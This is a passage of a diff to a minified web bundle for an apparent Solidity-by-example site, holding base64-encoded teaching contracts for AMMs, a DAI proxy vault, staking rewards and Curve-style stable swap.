yBzKSAvIFQKCiAgICAgICAgcyA9IGEgKiBUIC8gTAogICAgICAgICovCiAgICAgICAgaWYgKHRvdGFsU3VwcGx5ID4gMCkgewogICAgICAgICAgICBzaGFyZXMgPSAoKGQwICsgZDEpICogdG90YWxTdXBwbHkpIC8gKHJlc2VydmUwICsgcmVzZXJ2ZTEpOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgIHNoYXJlcyA9IGQwICsgZDE7CiAgICAgICAgfQoKICAgICAgICByZXF1aXJlKHNoYXJlcyA+IDAsICJzaGFyZXMgPSAwIik7CiAgICAgICAgX21pbnQobXNnLnNlbmRlciwgc2hhcmVzKTsKCiAgICAgICAgX3VwZGF0ZShiYWwwLCBiYWwxKTsKICAgIH0KCiAgICBmdW5jdGlvbiByZW1vdmVMaXF1aWRpdHkodWludDI1NiBfc2hhcmVzKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAodWludDI1NiBkMCwgdWludDI1NiBkMSkKICAgIHsKICAgICAgICAvKgogICAgICAgIGEgPSBhbW91bnQgb3V0CiAgICAgICAgTCA9IHRvdGFsIGxpcXVpZGl0eQogICAgICAgIHMgPSBzaGFyZXMKICAgICAgICBUID0gdG90YWwgc3VwcGx5CgogICAgICAgIGEgLyBMID0gcyAvIFQKCiAgICAgICAgYSA9IEwgKiBzIC8gVAogICAgICAgICAgPSAocmVzZXJ2ZTAgKyByZXNlcnZlMSkgKiBzIC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VyLCBhZGRyZXNzIHJlY2lwaWVudCwgdWludDI1NiBhbW91bnQpCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zIChib29sKTsKfQo="}],pb=`

                    Constant sum AMM X + Y = K

                    Tokens trade one to one.

                    // SPDX-License-Identifier: MIT
                     pragma solidity ^0.8.26;
                    @@ -4615,7 +4615,7 @@ specify the location of the data.

                    external returns (bool); } -
                    `,pb=({prev:s,next:a})=>r.jsx(A,{version:$m,title:qm,description:sb,cyfrinLink:ab,html:lb,prev:s,next:a,codes:nb}),eb="0.8.26",cb="DAI Proxy Examples",tb="Borrow and repay DAI using DssProxy",ob="",rb=[{fileName:"DaiProxy.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmFkZHJlc3MgY29uc3RhbnQgREFJID0gMHg2QjE3NTQ3NEU4OTA5NEM0NERhOThiOTU0RWVkZUFDNDk1MjcxZDBGOwphZGRyZXNzIGNvbnN0YW50IFBST1hZX1JFR0lTVFJZID0gMHg0Njc4ZjBhNjk1OGU0RDJCYzRGMUJBRjdCYzUyRThGMzU2NGYzZkU0OwphZGRyZXNzIGNvbnN0YW50IFBST1hZX0FDVElPTlMgPSAweDgyZWNEMTM1RGNlNjVGYmM2RGJkRDBlNDIzN0UwQUY5M0ZGRDUwMzg7CmFkZHJlc3MgY29uc3RhbnQgQ0RQX01BTkFHRVIgPSAweDVlZjMwYjk5ODYzNDUyNDliYzMyZDg5MjhCN2VlNjRERTk0MzVFMzk7CmFkZHJlc3MgY29uc3RhbnQgSlVHID0gMHgxOWMwOTc2ZjU5MEQ2NzcwN0U2MjM5N0M4NzgyOWQ4OTZEYzBmMUYxOwphZGRyZXNzIGNvbnN0YW50IEpPSU5fRVRIX0MgPSAweEYwNGE1Y0M4MEIxRTk0QzY5QjQ4ZjVlZTY4YTA4Q0QyRjA5QTdjM0U7CmFkZHJlc3MgY29uc3RhbnQgS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JZCkKICAgICAgICAgICAgKQogICAgICAgICk7CiAgICB9CgogICAgZnVuY3Rpb24gYm9ycm93KHVpbnQyNTYgZGFpQW1vdW50KSBleHRlcm5hbCB7CiAgICAgICAgSURzc1Byb3h5KHByb3h5KS5leGVjdXRlKAogICAgICAgICAgICBQUk9YWV9BQ1RJT05TLAogICAgICAgICAgICBhYmkuZW5jb2RlQ2FsbCgKICAgICAgICAgICAgICAgIElEc3NQcm94eUFjdGlvbnMuZHJhdywKICAgICAgICAgICAgICAgIChDRFBfTUFOQUdFUiwgSlVHLCBKT0lOX0RBSSwgY2RwSWQsIGRhaUFtb3VudCkKICAgICAgICAgICAgKQogICAgICAgICk7CiAgICB9CgogICAgZnVuY3Rpb24gcmVwYXkodWludDI1NiBkYWlBbW91bnQpIGV4dGVybmFsIHsKICAgICAgICBkYWkuYXBwcm92ZShwcm94eSwgZGFpQW1vdW50KTsKICAgICAgICBJRHNzUHJveHkocHJveHkpLmV4ZWN1dGUoCiAgICAgICAgICAgIFBST1hZX0FDVElPTlMsCiAgICAgICAgICAgIGFiaS5lbmNvZGVDYWxsKAogICAgICAgICAgICAgICAgSURzc1Byb3h5QWN0aW9ucy53aXBlLCAoQ0RQX01BTkFHRVIsIEpPSU5fREFJLCBjZHBJZCwgZGFpQW1vdW50KQogICAgICAgICAgICApCiAgICAgICAgKTsKICAgIH0KCiAgICBmdW5jdGlvbiByZXBheUFsbCgpIGV4dGVybmFsIHsKICAgICAgICBkYWkuYXBwcm92ZShwcm94eSwgdHlwZSh1aW50MjU2KS5tYXgpOwogICAgICAgIElEc3NQcm94eShwcm94eSkuZXhlY3V0ZSgKICAgICAgICAgICAgUFJPWFlfQUNUSU9OUywKICAgICAgICAgICAgYWJpLmVuY29kZUNhbGwoCiAgICAgICAgICAgICAgICBJRHNzUHJveHlBY3Rpb25zLndpcGVBbGwsIChDRFBfTUFOQUdFUiwgSk9JTl9EQUksIGNkcElkKQogICAgICAgICAgICApCiAgICAgICAgKTsKICAgIH0KC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NvbGUyLmxvZygiQmVmb3JlIGxvY2sgRVRIIik7CiAgICAgICAgcHJpbnQodXJuQWRkcik7CgogICAgICAgIHByb3h5LmxvY2tFdGh7dmFsdWU6IEVUSF9BTU9VTlR9KCk7CiAgICAgICAgY29uc29sZTIubG9nKCIiKTsKICAgICAgICBjb25zb2xlMi5sb2coIkFmdGVyIGxvY2sgRVRIIik7CiAgICAgICAgcHJpbnQodXJuQWRkcik7CgogICAgICAgIHByb3h5LmJvcnJvdyhEQUlfQU1PVU5UKTsKICAgICAgICBjb25zb2xlMi5sb2coIiIpOwogICAgICAgIGNvbnNvbGUyLmxvZygiQWZ0ZXIgYm9ycm93IERBSSIpOwogICAgICAgIHByaW50KHVybkFkZHIpOwoKICAgICAgICBwcm94eS5yZXBheShEQUlfQU1PVU5UIC8gMik7CiAgICAgICAgY29uc29sZTIubG9nKCIiKTsKICAgICAgICBjb25zb2xlMi5sb2coIkFmdGVyIHBhcnRpYWwgcmVwYXkgREFJIik7CiAgICAgICAgcHJpbnQodXJuQWRkcik7CgogICAgICAgIHByb3h5LnJlcGF5QWxsKCk7CiAgICAgICAgY29uc29sZTIubG9nKCIiKTsKICAgICAgICBjb25zb2xlMi5sb2coIkFmdGVyIHJlcGF5IGFsbCBEQUkiKTsKICAgICAgICBwcmludCh1cm5BZGRyKTsKCiAgICAgICAgcHJveHkudW5sb2NrRXRoKEVUSF9BTU9VTlQpOwogICAgICAgIGNvbnNvbGUyLmxvZygiIik7CiAgICAgICAgY29uc29sZTIubG9nKCJBZnRlciB1bmxvY2sgRVRIIik7CiAgICAgICAgcHJpbnQodXJuQWRkcik7CiAgICB9Cn0KCmludGVyZmFjZSBJVmF0IHsKICAgIC8vIENvbGxhdGVyYWwgdHlwZQogICAgc3RydWN0IElsayB7CiAgICAgICAgdWludDI1NiBBcnQ7IC8vIFRvdGFsIG5vcm1hbGl6ZWQgZGVidCAgICAgIFt3YWRdCiAgICAgICAgdWludDI1NiByYXRlOyAvLyBBY2N1bXVsYXRlZCByYXRlcyAgICAgICAgIFtyYXldCiAgICAgICAgdWludDI1NiBzcG90OyAvLyBQcmljZSB3aXRoIHNhZmV0eSBtYXJnaW4gIFtyYXldCiAgICAgICAgdWludDI1NiBsaW5lOyAvLyBEZWJ0IGNlaWxpbmcgICAgICAgICAgICAgIFtyYWRdCiAgICAgICAgdWludDI1NiBkdXN0OyAvLyBVcm4gZGVidCBmbG9vciAgICAgICAgICAgIFtyYWRdCiAgICB9CgogICAgLy8gVmF1bHQKICAgIHN0cnVjdCBVcm4gewogICAgICAgIHVpbnQyNTYgaW5rOyAvLyBMb2NrZWQgY29sbGF0ZXJhbCAgW3dhZF0KICAgICAgICB1aW50MjU2IGFydDsgLy8gTm9ybWFsaXNlZCBkZWJ0ICAgIFt3YWRdCiAgICB9CgogICAgZnVuY3Rpb24gaWxrcyhieXRlczMyIGlsaykgZXh0ZXJuYWwgdmlldyByZXR1cm5zIChJbGsgbWVtb3J5KTsKICAgIGZ1bmN0aW9uIHVybnMoYnl0ZXMzMiBpbGssIGFkZHJlc3MgdXNlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChVcm4gbWVtb3J5KTsKfQoKaW50ZXJmYWNlIElDZHBNYW5hZ2VyIHsKICAgIGZ1bmN0aW9uIHVybnModWludDI1NiBjZHBJZCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zIChhZGRyZXNzIHVybik7Cn0K"}],ib=`

                    Example

                    +`,eb=({prev:s,next:a})=>r.jsx(A,{version:qm,title:sb,description:ab,cyfrinLink:nb,html:pb,prev:s,next:a,codes:lb}),cb="0.8.26",tb="DAI Proxy Examples",ob="Borrow and repay DAI using DssProxy",rb="",ib=[{fileName:"DaiProxy.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmFkZHJlc3MgY29uc3RhbnQgREFJID0gMHg2QjE3NTQ3NEU4OTA5N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l0ZXMzMiByZXMgPSBJRHNzUHJveHkocHJveHkpLmV4ZWN1dGUoCiAgICAgICAgICAgIFBST1hZX0FDVElPTlMsCiAgICAgICAgICAgIGFiaS5lbmNvZGVDYWxsKElEc3NQcm94eUFjdGlvbnMub3BlbiwgKENEUF9NQU5BR0VSLCBFVEhfQywgcHJveHkpKQogICAgICAgICk7CiAgICAgICAgY2RwSWQgPSB1aW50MjU2KHJlcyk7CiAgICB9CgogICAgcmVjZWl2ZSgpIGV4dGVybmFsIHBheWFibGUge30KCiAgICBmdW5jdGlvbiBsb2NrRXRoKCkgZXh0ZXJuYWwgcGF5YWJsZSB7CiAgICAgICAgSURzc1Byb3h5KHByb3h5KS5leGVjdXRle3ZhbHVlOiBtc2cudmFsdWV9KAogICAgICAgICAgICBQUk9YWV9BQ1RJT05TLAogICAgICAgICAgICBhYmkuZW5jb2RlQ2FsbCgKICAgICAgICAgICAgICAgIElEc3NQcm94eUFjdGlvbnMubG9ja0VUSCwgKENEUF9NQU5BR0VSLCBKT0lOX0VUSF9DLCBjZHBJZCkKICAgICAgICAgICAgKQogICAgICAgICk7CiAgICB9CgogICAgZnVuY3Rpb24gYm9ycm93KHVpbnQyNTYgZGFpQW1vdW50KSBleHRlcm5hbCB7CiAgICAgICAgSURzc1Byb3h5KHByb3h5KS5leGVjdXRlKAogICAgICAgICAgICBQUk9YWV9BQ1RJT05TLAogICAgICAgICAgICBhYmkuZW5jb2RlQ2FsbCgKICAgICAgICAgICAgICAgIElEc3NQcm94eUFjdGlvbnMuZHJhdywKICAgICAgICAgICAgICAgIChDRFBfTUFOQUdFUiwgSlVHLCBKT0lOX0RBSSwgY2RwSWQsIGRhaUFtb3VudCkKICAgICAgICAgICAgKQogICAgICAgICk7CiAgICB9CgogICAgZnVuY3Rpb24gcmVwYXkodWludDI1NiBkYWlBbW91bnQpIGV4dGVybmFsIHsKICAgICAgICBkYWkuYXBwcm92ZShwcm94eSwgZGFpQW1vdW50KTsKICAgICAgICBJRHNzUHJveHkocHJveHkpLmV4ZWN1dGUoCiAgICAgICAgICAgIFBST1hZX0FDVElPTlMsCiAgICAgICAgICAgIGFiaS5lbmNvZGVDYWxsKAogICAgICAgICAgICAgICAgSURzc1Byb3h5QWN0aW9ucy53aXBlLCAoQ0RQX01BTkFHRVIsIEpPSU5fREFJLCBjZHBJZCwgZGFpQW1vdW50KQogICAgICAgICAgICApCiAgICAgICAgKTsKICAgIH0KCiAgICBmdW5jdGlvbiByZXBheUFsbCgpIGV4dGVybmFsIHsKICAgICAgICBkYWkuYXBwcm92ZShwcm94eSwgdHlwZSh1aW50MjU2KS5tYXgpOwogICAgICAgIElEc3NQcm94eShwcm94eSkuZXhlY3V0ZSgKICAgICAgICAgICAgUFJPWFlfQUNUSU9OUywKICAgICAgICAgICAgYWJpLmVuY29kZUNhbGwoCiAgICAgICAgICAgICAgICBJRHNzUHJveHlBY3Rpb25zLndpcGVBbGwsIChDRFBfTUFOQUdFUiwgSk9JTl9EQUksIGNkcElkKQogICAgICAgICAgICApCiAgICAgICAgKTsKICAgIH0KCiAgICBmdW5jdGlvbiB1bmxvY2tFdGgodWludDI1NiBldGhBbW91bnQpIGV4dGVybmFsIHsKICAgICAgICBJRHNzUHJveHkocHJveHkpLmV4ZWN1dGUoCiAgICAgICAgICAgIFBST1hZX0FDVElPTlMsCiAgICAgICAgICAgIGFiaS5lbmNvZGVDYWxsKAogICAgICAgICAgICAgICAgSURzc1Byb3h5QWN0aW9ucy5mcmVlRVRILAogICAgICAgICAgICAgICAgKENEUF9NQU5BR0VSLCBKT0lOX0VUSF9DLCBjZHBJZCwgZXRoQW1vdW50KQogICAgICAgICAgICApCiAgICAgICAgKTsKICAgIH0KfQoKaW50ZXJmYWNlIElEc3NQcm94eVJlZ2lzdHJ5IHsKICAgIGZ1bmN0aW9uIGJ1aWxkKCkgZXh0ZXJuYWwgcmV0dXJucyAoYWRkcmVzcyBwcm94eSk7Cn0KCmludGVyZmFjZSBJRHNzUHJveHkgewogICAgZnVuY3R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zb2xlMi5sb2coIi0tLS0tLS0tLS0tLS0tLS0tLS0tIik7CiAgICAgICAgY29uc29sZTIubG9nKCJ2YXVsdCBjb2xsYXRlcmFsIFt3YWRdIiwgdXJuLmluayk7CiAgICAgICAgY29uc29sZTIubG9nKCJ2YXVsdCBkZWJ0ICAgICAgIFt3YWRdIiwgdXJuLmFydCk7CiAgICAgICAgY29uc29sZTIubG9nKCJEQUkgaW4gcHJveHkgICAgIFt3YWRdIiwgZGFpLmJhbGFuY2VPZihhZGRyZXNzKHByb3h5KSkpOwogICAgICAgIGNvbnNvbGUyLmxvZygiRVRIIGluIHByb3h5ICAgICBbd2FkXSIsIGFkZHJlc3MocHJveHkpLmJhbGFuY2UpOwogICAgfQoKICAgIGZ1bmN0aW9uIHRlc3RfcHJveHkoKSBwdWJsaWMgewogICAgICAgIHVpbnQyNTYgY2RwSWQgPSBwcm94eS5jZHBJZCgpOwogICAgICAgIGFkZHJlc3MgdXJuQWRkciA9IGNkcE1hbmFnZXIudXJucyhjZHBJZCk7CgogICAgICAgIGNvbnNvbGUyLmxvZygiQmVmb3JlIGxvY2sgRVRIIik7CiAgICAgICAgcHJpbnQodXJuQWRkcik7CgogICAgICAgIHByb3h5LmxvY2tFdGh7dmFsdWU6IEVUSF9BTU9VTlR9KCk7CiAgICAgICAgY29uc29sZTIubG9nKCIiKTsKICAgICAgICBjb25zb2xlMi5sb2coIkFmdGVyIGxvY2sgRVRIIik7CiAgICAgICAgcHJpbnQodXJuQWRkcik7CgogICAgICAgIHByb3h5LmJvcnJvdyhEQUlfQU1PVU5UKTsKICAgICAgICBjb25zb2xlMi5sb2coIiIpOwogICAgICAgIGNvbnNvbGUyLmxvZygiQWZ0ZXIgYm9ycm93IERBSSIpOwogICAgICAgIHByaW50KHVybkFkZHIpOwoKICAgICAgICBwcm94eS5yZXBheShEQUlfQU1PVU5UIC8gMik7CiAgICAgICAgY29uc29sZTIubG9nKCIiKTsKICAgICAgICBjb25zb2xlMi5sb2coIkFmdGVyIHBhcnRpYWwgcmVwYXkgREFJIik7CiAgICAgICAgcHJpbnQodXJuQWRkcik7CgogICAgICAgIHByb3h5LnJlcGF5QWxsKCk7CiAgICAgICAgY29uc29sZTIubG9nKCIiKTsKICAgICAgICBjb25zb2xlMi5sb2coIkFmdGVyIHJlcGF5IGFsbCBEQUkiKTsKICAgICAgICBwcmludCh1cm5BZGRyKTsKCiAgICAgICAgcHJveHkudW5sb2NrRXRoKEVUSF9BTU9VTlQpOwogICAgICAgIGNvbnNvbGUyLmxvZygiIik7CiAgICAgICAgY29uc29sZTIubG9nKCJBZnRlciB1bmxvY2sgRVRIIik7CiAgICAgICAgcHJpbnQodXJuQWRkcik7CiAgICB9Cn0KCmludGVyZmFjZSBJVmF0IHsKICAgIC8vIENvbGxhdGVyYWwgdHlwZQogICAgc3RydWN0IElsayB7CiAgICAgICAgdWludDI1NiBBcnQ7IC8vIFRvdGFsIG5vcm1hbGl6ZWQgZGVidCAgICAgIFt3YWRdCiAgICAgICAgdWludDI1NiByYXRlOyAvLyBBY2N1bXVsYXRlZCByYXRlcyAgICAgICAgIFtyYXldCiAgICAgICAgdWludDI1NiBzcG90OyAvLyBQcmljZSB3aXRoIHNhZmV0eSBtYXJnaW4gIFtyYXldCiAgICAgICAgdWludDI1NiBsaW5lOyAvLyBEZWJ0IGNlaWxpbmcgICAgICAgICAgICAgIFtyYWRdCiAgICAgICAgdWludDI1NiBkdXN0OyAvLyBVcm4gZGVidCBmbG9vciAgICAgICAgICAgIFtyYWRdCiAgICB9CgogICAgLy8gVmF1bHQKICAgIHN0cnVjdCBVcm4gewogICAgICAgIHVpbnQyNTYgaW5rOyAvLyBMb2NrZWQgY29sbGF0ZXJhbCAgW3dhZF0KICAgICAgICB1aW50MjU2IGFydDsgLy8gTm9ybWFsaXNlZCBkZWJ0ICAgIFt3YWRdCiAgICB9CgogICAgZnVuY3Rpb24gaWxrcyhieXRlczMyIGlsaykgZXh0ZXJuYWwgdmlldyByZXR1cm5zIChJbGsgbWVtb3J5KTsKICAgIGZ1bmN0aW9uIHVybnMoYnl0ZXMzMiBpbGssIGFkZHJlc3MgdXNlcikKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChVcm4gbWVtb3J5KTsKfQoKaW50ZXJmYWNlIElDZHBNYW5hZ2VyIHsKICAgIGZ1bmN0aW9uIHVybnModWludDI1NiBjZHBJZCkgZXh0ZXJuYWwgdmlldyByZXR1cm5zIChhZGRyZXNzIHVybik7Cn0K"}],gb=`

                    Example

                    Example of locking ETH collateral, borrowing DAI, repaying DAI and unlocking ETH using DssProxy.

                    // SPDX-License-Identifier: MIT
                     pragma solidity ^0.8.26;
                    @@ -4853,7 +4853,7 @@ specify the location of the data.

                    interface ICdpManager { function urns(uint256 cdpId) external view returns (address urn); } -
                    `,gb=({prev:s,next:a})=>r.jsx(A,{version:eb,title:cb,description:tb,cyfrinLink:ob,html:ib,prev:s,next:a,codes:rb}),hb="0.8.26",Ib="Discrete Staking Rewards",db="Discrete staking rewards",Cb="",jb=[{fileName:"DiscreteStakingRewards.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCmNvbnRyYWN0IERpc2NyZXRlU3Rha2luZ1Jld2FyZHMgewogICAgSUVSQzIwIHB1YmxpYyBpbW11dGFibGUgc3Rha2luZ1Rva2VuOwogICAgSUVSQzIwIHB1YmxpYyBpbW11dGFibGUgcmV3YXJkVG9rZW47CgogICAgbWFwcGluZyhhZGRyZXNzID0+IHVpbnQyNTYpIHB1YmxpYyBiYWxhbmNlT2Y7CiAgICB1aW50MjU2IHB1YmxpYyB0b3RhbFN1cHBseTsKCiAgICB1aW50MjU2IHByaXZhdGUgY29uc3RhbnQgTVVMVElQTElFUiA9IDFlMTg7CiAgICB1aW50MjU2IHByaXZhdGUgcmV3YXJkSW5kZXg7CiAgICBtYXBwaW5nKGFkZHJlc3MgPT4gdWludDI1N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mRUb2tlbi50cmFuc2Zlcihtc2cuc2VuZGVyLCByZXdhcmQpOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuIHJld2FyZDsKICAgIH0KfQoKaW50ZXJmYWNlIElFUkMyMCB7CiAgICBmdW5jdGlvbiB0b3RhbFN1cHBseSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBhY2NvdW50KSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiBhbGxvd2FuY2UoYWRkcmVzcyBvd25lciwgYWRkcmVzcyBzcGVuZGVyKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIHNlbmRlciwgYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7Cn0K"}],Ab=`

                    Similar to staking rewards contract. Difference is that reward amount may vary at each second.

                    +`,hb=({prev:s,next:a})=>r.jsx(A,{version:cb,title:tb,description:ob,cyfrinLink:rb,html:gb,prev:s,next:a,codes:ib}),Ib="0.8.26",db="Discrete Staking Rewards",Cb="Discrete staking rewards",jb="",Ab=[{fileName:"DiscreteStakingRewards.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEg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sKCiAgICAgICAgYmFsYW5jZU9mW21zZy5zZW5kZXJdIC09IGFtb3VudDsKICAgICAgICB0b3RhbFN1cHBseSAtPSBhbW91bnQ7CgogICAgICAgIHN0YWtpbmdUb2tlbi50cmFuc2Zlcihtc2cuc2VuZGVyLCBhbW91bnQpOwogICAgfQoKICAgIGZ1bmN0aW9uIGNsYWltKCkgZXh0ZXJuYWwgcmV0dXJucyAodWludDI1NikgewogICAgICAgIF91cGRhdGVSZXdhcmRzKG1zZy5zZW5kZXIpOwoKICAgICAgICB1aW50MjU2IHJld2FyZCA9IGVhcm5lZFttc2cuc2VuZGVyXTsKICAgICAgICBpZiAocmV3YXJkID4gMCkgewogICAgICAgICAgICBlYXJuZWRbbXNnLnNlbmRlcl0gPSAwOwogICAgICAgICAgICByZXdhcmRUb2tlbi50cmFuc2Zlcihtc2cuc2VuZGVyLCByZXdhcmQpOwogICAgICAgIH0KCiAgICAgICAgcmV0dXJuIHJld2FyZDsKICAgIH0KfQoKaW50ZXJmYWNlIElFUkMyMCB7CiAgICBmdW5jdGlvbiB0b3RhbFN1cHBseSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBhY2NvdW50KSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiBhbGxvd2FuY2UoYWRkcmVzcyBvd25lciwgYWRkcmVzcyBzcGVuZGVyKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIHNlbmRlciwgYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7Cn0K"}],ub=`

                    Similar to staking rewards contract. Difference is that reward amount may vary at each second.

                    Discrete Staking Rewards

                    // SPDX-License-Identifier: MIT
                     pragma solidity ^0.8.26;
                    @@ -4948,7 +4948,7 @@ specify the location of the data.

                    external returns (bool); } -
                    `,ub=({prev:s,next:a})=>r.jsx(A,{version:hb,title:Ib,description:db,cyfrinLink:Cb,html:Ab,prev:s,next:a,codes:jb}),yb="0.8.26",mb="Stable Swap AMM",bb="Curve's stable swap AMM",wb="",kb=[{fileName:"StableSwap.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNjsKCi8qCkludmFyaWFudCAtIHByaWNlIG9mIHRyYWRlIGFuZCBhbW91bnQgb2YgbGlxdWlkaXR5IGFyZSBkZXRlcm1pbmVkIGJ5IHRoaXMgZXF1YXRpb24KCkFuXm4gc3VtKHhfaSkgKyBEID0gQURuXm4gKyBEXihuICsgMSkgLyAobl5uIHByb2QoeF9pKSkKClRvcGljcwowLiBOZXd0b24ncyBtZXRob2QgeF8obiArIDEpID0geF9uIC0gZih4X24pIC8gZicoeF9uKQoxLiBJbnZhcmlhbnQKMi4gU3dhcAogICAtIENhbGN1bGF0ZSBZCiAgIC0gQ2FsY3VsYXRlIEQKMy4gR2V0IHZpcnR1YWwgcHJpY2UKNC4gQWRkIGxpcXVpZGl0eQogICAtIEltYmFsYW5jZSBmZWUKNS4gUmVtb3ZlIGxpcXVpZGl0eQo2LiBSZW1vdmUgbGlxdWlkaXR5IG9uZSB0b2tlbgogICAtIENhbGN1bGF0ZSB3aXRoZHJhdyBvbmUgdG9rZW4KIC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U9mW19mcm9tXSAtPSBfYW1vdW50OwogICAgICAgIHRvdGFsU3VwcGx5IC09IF9hbW91bnQ7CiAgICB9CgogICAgLy8gUmV0dXJuIHByZWNpc2lvbi1hZGp1c3RlZCBiYWxhbmNlcywgYWRqdXN0ZWQgdG8gMTggZGVjaW1hbHMKICAgIGZ1bmN0aW9uIF94cCgpIHByaXZhdGUgdmlldyByZXR1cm5zICh1aW50MjU2W05dIG1lbW9yeSB4cCkgewogICAgICAgIGZvciAodWludDI1NiBpOyBpIDwgTjsgKytpKSB7CiAgICAgICAgICAgIHhwW2ldID0gYmFsYW5jZXNbaV0gKiBtdWx0aXBsaWVyc1tpXTsKICAgICAgICB9CiAgICB9CgogICAgLyoqCiAgICAgKiBAbm90aWNlIENhbGN1bGF0ZSBELCBzdW0gb2YgYmFsYW5jZXMgaW4gYSBwZXJmZWN0bHkgYmFsYW5jZWQgcG9vbAogICAgICogSWYgYmFsYW5jZXMgb2YgeF8wLCB4XzEsIC4uLiB4XyhuLTEpIHRoZW4gc3VtKHhfaSkgPSBECiAgICAgKiBAcGFyYW0geHAgUHJlY2lzaW9uLWFkanVzdGVkIGJhbGFuY2VzCiAgICAgKiBAcmV0dXJuIEQKICAgICAqLwogICAgZnVuY3Rpb24gX2dldEQodWludDI1NltOXSBtZW1vcnkgeHApIHByaXZhdGUgcHVyZSByZXR1cm5zICh1aW50MjU2KSB7CiAgICAgICAgLyoKICAgICAgICBOZXd0b24ncyBtZXRob2QgdG8gY29tcHV0ZSBECiAgICAgICAgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0KICAgICAgICBmKEQpID0gQURuXm4gKyBEXihuICsgMSkgLyAobl5uIHByb2QoeF9pKSkgLSBBbl5uIHN1bSh4X2kpIC0gRCAKICAgICAgICBmJyhEKSA9IEFuXm4gKyAobiArIDEpIERebiAvIChuXm4gcHJvZCh4X2kpKSAtIDEKCiAgICAgICAgICAgICAgICAgICAgIChhcyArIG5wKURfbgogICAgICAgIERfKG4rMSkgPSAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQogICAgICAgICAgICAgICAgICAoYSAtIDEpRF9uICsgKG4gKyAxKXAKCiAgICAgICAgYSA9IEFuXm4KICAgICAgICBzID0gc3VtKHhfaSkKICAgICAgICBwID0gKERfbileKG4gKyAxKSAvIChuXm4gcHJvZCh4X2kpKQogICAgICAgICovCiAgICAgICAgdWludDI1NiBhID0gQSAqIE47IC8vIEFuXm4KCiAgICAgICAgdWludDI1NiBzOyAvLyB4XzAgKyB4XzEgKyAuLi4gKyB4XyhuLTEpCiAgICAgICAgZm9yICh1aW50MjU2IGk7IGkgPCBOOyArK2kpIHsKICAgICAgICAgICAgcyArPSB4cFtpXTsKICAgICAgICB9CgogICAgICAgIC8vIE5ld3RvbidzIG1ldGhvZAogICAgICAgIC8vIEluaXRpYWwgZ3Vlc3MsIGQgPD0gcwogICAgICAgIHVpbnQyNTYgZCA9IHM7CiAgICAgICAgdWludDI1NiBkX3ByZXY7CiAgICAgICAgZm9yICh1aW50MjU2IGk7IGkgPCAyNTU7ICsraSkgewogICAgICAgICAgICAvLyBwID0gRF4obiArIDEpIC8gKG5ebiAqIHhfMCAqIC4uLiAqIHhfKG4tMSkpCiAgICAgICAgICAgIHVpbnQyNTYgcCA9IGQ7CiAgICAgICAgICAgIGZvciAodWludDI1NiBqOyBqIDwgTjsgKytqKSB7CiAgICAgICAgICAgICAgICBwID0gKHAgKiBkKSAvIChOICogeHBbal0pOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGRfcHJldiA9IGQ7CiAgICAgICAgICAgIGQgPSAoKGEgKiBzICsgTiAqIHApICogZCkgLyAoKGEgLSAxKSAqIGQgKyAoTiArIDEpICogcCk7CgogICAgICAgICAgICBpZiAoTWF0aC5hYnMoZCwgZF9wcmV2KSA8PSAxKSB7CiAgICA